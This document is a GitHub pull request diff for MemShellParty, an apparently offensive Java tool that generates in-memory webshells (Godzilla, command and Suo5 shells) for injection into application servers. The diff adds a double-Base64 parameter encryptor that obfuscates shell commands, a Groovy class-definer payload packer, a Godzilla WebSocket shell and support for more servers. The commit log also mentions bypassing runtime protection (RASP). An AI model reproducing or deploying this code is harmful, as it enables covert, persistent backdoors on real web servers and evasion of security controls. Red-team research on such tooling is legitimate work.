Skip to content
Merged

Dev #63

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
29 commits
Select commit Hold shift + click to select a range
edb931b
test: add SpringBoot3 Tomcat test cases
ReaJason Apr 27, 2025
fdae5a7
style: unify fetch threads
ReaJason Apr 27, 2025
28098d1
refactor: dynamic add getFieldValue method for Listener
ReaJason Apr 27, 2025
6fa58e8
feat: support command encryptor
ReaJason Apr 27, 2025
b0fc550
perf: init on startup
ReaJason Apr 27, 2025
7a5b59b
test: use pgrep command
ReaJason Apr 27, 2025
527059f
fix: xxl-job NPE
ReaJason Apr 27, 2025
15ff04b
feat: command unsafe bypass RASP
ReaJason Apr 28, 2025
1767646
test: use right JDK version
ReaJason May 3, 2025
505f020
chore: upgrade shadow Gradle plugin
ReaJason May 3, 2025
14a1834
fix: JDK6 forkAndExec run failed
ReaJason May 3, 2025
771d4e3
feat: support Primeton App Server
ReaJason May 7, 2025
4088120
fix: forkAndExec jdk7 & jdk11
ReaJason May 10, 2025
c675ae9
fix: downgrade runtime.exec
ReaJason May 10, 2025
9e5bdc7
fix: ws command encryptor not work
ReaJason May 10, 2025
3a8d23b
refactor: simplify code
ReaJason May 11, 2025
a9aa684
feat: add groovy definer packer
ReaJason May 11, 2025
44155bd
fix: scriptEngine payload error
ReaJason May 11, 2025
b1ddec4
feat: support jetty ee8 ~ ee10 env
ReaJason May 11, 2025
ca3c8c1
test: add jetty ee8 ~ ee10 cases
ReaJason May 13, 2025
e955f99
chore: update .gitignore
ReaJason May 13, 2025
f4b3dbd
fix: jetty ee10 listener failed
ReaJason May 13, 2025
d496421
feat: add websocket godzilla
ReaJason May 13, 2025
c2a9c03
test: godzilla websocket failed
ReaJason May 13, 2025
37b835e
test: deploy failed in some middleware
ReaJason May 13, 2025
7301a4b
test: update docker-compose yamls
ReaJason May 13, 2025
8300afd
test: add godzilla ws case
ReaJason May 13, 2025
25dc62d
chore: upgrade deps
ReaJason May 13, 2025
d154a32
refactor: rename
ReaJason May 13, 2025
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
3 changes: 2 additions & 1 deletion .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -60,4 +60,5 @@ snippets/
integration-test/**/apusic
integration-test/**/bes
integration-test/**/tongweb
integration-test/**/inforsuite
integration-test/**/inforsuite
integration-test/**/primeton
Original file line number Diff line number Diff line change
@@ -1,17 +1,23 @@
package com.reajason.javaweb.boot;

import com.reajason.javaweb.memshell.Server;
import lombok.extern.slf4j.Slf4j;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

import java.util.Arrays;

/**
* @author ReaJason
*/
@SpringBootApplication
@Slf4j
public class BootApplication {

public static void main(String[] args) {

SpringApplication.run(BootApplication.class, args);
Server[] values = Server.values();
log.info("Supported servers: {}", Arrays.toString(values));
log.info("For another server, you can open a issue in GitHub, https://github.com/ReaJason/MemShellParty/issues/new?template=%E8%AF%B7%E6%B1%82%E9%80%82%E9%85%8D.md");
}

}
Original file line number Diff line number Diff line change
Expand Up @@ -3,8 +3,10 @@
import com.reajason.javaweb.memshell.Packers;
import com.reajason.javaweb.memshell.Server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.server.AbstractShell;
import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

Expand Down Expand Up @@ -58,4 +60,9 @@ public List<String> getPackers() {
}
return coreMap;
}

@GetMapping("/command/encryptors")
public List<CommandConfig.Encryptor> getCommandEncryptors() {
return Arrays.stream(CommandConfig.Encryptor.values()).toList();
}
}
Original file line number Diff line number Diff line change
Expand Up @@ -28,6 +28,7 @@ static class ShellToolConfigDTO {
private String headerName;
private String headerValue;
private String shellClassBase64;
private String encryptor;
}

public ShellToolConfig parseShellToolConfig() {
Expand All @@ -48,6 +49,7 @@ public ShellToolConfig parseShellToolConfig() {
case Command -> CommandConfig.builder()
.shellClassName(shellToolConfig.getShellClassName())
.paramName(StringUtils.defaultIfBlank(shellToolConfig.getCommandParamName(), CommonUtil.getRandomString(8)))
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
.build();
case Suo5 -> Suo5Config.builder()
.shellClassName(shellToolConfig.getShellClassName())
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,7 @@

import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.generator.*;
import com.reajason.javaweb.memshell.generator.command.CommandGenerator;
import com.reajason.javaweb.memshell.server.AbstractShell;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import org.apache.commons.lang3.StringUtils;
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -15,7 +15,9 @@
import com.reajason.javaweb.memshell.packer.deserialize.java.*;
import com.reajason.javaweb.memshell.packer.el.ELPacker;
import com.reajason.javaweb.memshell.packer.freemarker.FreemarkerPacker;
import com.reajason.javaweb.memshell.packer.groovy.GroovyClassDefinerPacker;
import com.reajason.javaweb.memshell.packer.groovy.GroovyPacker;
import com.reajason.javaweb.memshell.packer.groovy.GroovyScriptEnginePacker;
import com.reajason.javaweb.memshell.packer.jar.AgentJarPacker;
import com.reajason.javaweb.memshell.packer.jar.DefaultJarPacker;
import com.reajason.javaweb.memshell.packer.jexl.JEXLPacker;
Expand Down Expand Up @@ -90,6 +92,9 @@ public enum Packers {
SpELSpringUtils(new SpELSpringUtilsPacker(), SpELPacker.class),

Groovy(new GroovyPacker()),
GroovyClassDefiner(new GroovyClassDefinerPacker(), GroovyPacker.class),
GroovyScriptEngine(new GroovyScriptEnginePacker(), GroovyPacker.class),

Freemarker(new FreemarkerPacker()),
Velocity(new VelocityPacker()),
JinJava(new JinJavaPacker()),
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -131,6 +131,11 @@ public enum Server {
*/
InforSuite(new InforSuiteShell()),

/**
* 普元中间件
*/
Primeton(new GlassFishShell()),

/**
* XXL-JOB
*/
Expand All @@ -152,6 +157,8 @@ public enum Server {
.addShellClass(JAKARTA_LISTENER, GodzillaListener.class)
.addShellClass(VALVE, GodzillaValve.class)
.addShellClass(JAKARTA_VALVE, GodzillaValve.class)
.addShellClass(WEBSOCKET, GodzillaWebSocket.class)
.addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -16,4 +16,18 @@
public class CommandConfig extends ShellToolConfig {
@Builder.Default
private String paramName = CommonUtil.getRandomString(8);

@Builder.Default
private Encryptor encryptor = Encryptor.RAW;

public enum Encryptor {
RAW, DOUBLE_BASE64;

public static Encryptor fromString(String encryptor) {
if (encryptor != null && encryptor.equals("DOUBLE_BASE64")) {
return DOUBLE_BASE64;
}
return RAW;
}
}
}
Original file line number Diff line number Diff line change
Expand Up @@ -6,8 +6,11 @@
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.asm.AsmVisitorWrapper;
import net.bytebuddy.description.modifier.Ownership;
import net.bytebuddy.description.modifier.Visibility;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
import net.bytebuddy.implementation.FixedValue;

import java.util.Collections;

Expand All @@ -21,19 +24,32 @@ public class ListenerGenerator {

public static Class<?> generateListenerShellClass(Class<?> implInterceptor, Class<?> targetClass) {
String newClassName = targetClass.getName() + CommonUtil.getRandomString(5);
boolean needAddGetFieldValue = false;
try {
targetClass.getMethod("getFieldValue", Object.class, String.class);
} catch (NoSuchMethodException e) {
needAddGetFieldValue = true;
}

try (DynamicType.Unloaded<?> unloaded = new ByteBuddy()
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(targetClass)
.name(newClassName)
.visit(new AsmVisitorWrapper.ForDeclaredMethods()
.name(newClassName).visit(new AsmVisitorWrapper.ForDeclaredMethods()
.method(named("getResponseFromRequest"),
new MethodCallReplaceVisitorWrapper(
newClassName,
Collections.singleton(ShellCommonUtil.class.getName()))
)
)
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")))
.make()) {
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));

if (needAddGetFieldValue) {
builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
.withParameters(Object.class, String.class)
.intercept(FixedValue.nullValue())
.visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue")));
}

try (DynamicType.Unloaded<?> unloaded = builder.make()) {
return unloaded
.load(ListenerGenerator.class.getClassLoader(), ClassLoadingStrategy.Default.WRAPPER_PERSISTENT)
.getLoaded();
Expand Down
Original file line number Diff line number Diff line change
@@ -1,17 +1,21 @@
package com.reajason.javaweb.memshell.generator;
package com.reajason.javaweb.memshell.generator.command;

import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.buddy.*;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.asm.AsmVisitorWrapper;
import net.bytebuddy.description.modifier.Ownership;
import net.bytebuddy.description.modifier.Visibility;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FixedValue;
import org.apache.commons.lang3.StringUtils;

import java.util.Collections;
import java.util.HashMap;

import static net.bytebuddy.matcher.ElementMatchers.named;
Expand All @@ -37,6 +41,7 @@ public DynamicType.Builder<?> getBuilder() {
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(commandConfig.getShellClass())
.name(commandConfig.getShellClassName())
.field(named("paramName")).value(commandConfig.getParamName())
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));

if (shellConfig.isJakarta()) {
Expand All @@ -48,16 +53,29 @@ public DynamicType.Builder<?> getBuilder() {
}

String shellType = shellConfig.getShellType();
if (!ShellType.WEBSOCKET.equals(shellType)) {
if (StringUtils.startsWith(shellType, ShellType.AGENT)) {
builder = builder.visit(
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(1) {{
put("paramName", commandConfig.getParamName());
}})
);
} else {
builder = builder.field(named("paramName")).value(commandConfig.getParamName());
}

if (StringUtils.startsWith(shellType, ShellType.AGENT)) {
builder = builder.visit(
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(1) {{
put("paramName", commandConfig.getParamName());
}})
);
}

if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(commandConfig.getEncryptor())) {
builder = builder
.visit(new AsmVisitorWrapper.ForDeclaredMethods()
.method(named("getParam"),
new MethodCallReplaceVisitorWrapper(
commandConfig.getShellClassName(),
Collections.singleton(ShellCommonUtil.class.getName()))
)
)
.defineMethod("base64DecodeToString", String.class, Visibility.PUBLIC, Ownership.STATIC)
.withParameters(String.class)
.intercept(FixedValue.nullValue())
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
}

return builder;
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
package com.reajason.javaweb.memshell.generator.command;

import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice;

/**
* @author ReaJason
* @since 2025/4/27
*/
public class DoubleBase64ParamInterceptor {

@Advice.OnMethodExit
public static void enter(@Advice.Argument(value = 0) String param, @Advice.Return(readOnly = false) String returnValue) {
returnValue = ShellCommonUtil.base64DecodeToString(ShellCommonUtil.base64DecodeToString(param));
}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,35 @@
package com.reajason.javaweb.memshell.packer.groovy;

import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.SneakyThrows;
import org.apache.commons.io.IOUtils;

import java.io.IOException;
import java.nio.charset.Charset;
import java.util.Objects;

/**
* @author ReaJason
* @since 2025/5/11
*/
public class GroovyClassDefinerPacker implements Packer {
String template = null;

public GroovyClassDefinerPacker() {
try {
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.groovy")), Charset.defaultCharset());
} catch (IOException ignored) {

}
}

@Override
@SneakyThrows
public String pack(GenerateResult generateResult) {
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
String injectorClassName = generateResult.getInjectorClassName();
return template.replace("{{className}}", injectorClassName)
.replace("{{base64Str}}", injectorBytesBase64Str);
}
}
Original file line number Diff line number Diff line change
@@ -1,19 +1,11 @@
package com.reajason.javaweb.memshell.packer.groovy;

import com.reajason.javaweb.memshell.Packers;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.AggregatePacker;

/**
* @author ReaJason
* @since 2024/12/13
*/
public class GroovyPacker implements Packer {
String template = "new javax.script.ScriptEngineManager().getEngineByName('js').eval('{{script}}')";
public class GroovyPacker implements AggregatePacker {

@Override
public String pack(GenerateResult generateResult) {
String script = Packers.ScriptEngine.getInstance().pack(generateResult);
return template.replace("{{script}}", script);
}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
package com.reajason.javaweb.memshell.packer.groovy;

import com.reajason.javaweb.memshell.Packers;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;

/**
* @author ReaJason
* @since 2024/12/13
*/
public class GroovyScriptEnginePacker implements Packer {
String template = "new javax.script.ScriptEngineManager().getEngineByName('js').eval('{{script}}')";

@Override
public String pack(GenerateResult generateResult) {
String script = Packers.ScriptEngine.getInstance().pack(generateResult);
return template.replace("{{script}}", script);
}
}
Original file line number Diff line number Diff line change
Expand Up @@ -20,7 +20,11 @@ public static void enter(@Advice.Argument(0) Object request, @Advice.Return(read
try {
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "_channel"), "_response");
} catch (Exception e) {
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "_connection"), "_response");
try {
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "_connection"), "_response");
} catch (Exception ex) {
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "_servletChannel"), "_response"), "_servletApiResponse");
}
}
}
}
Expand Down
Loading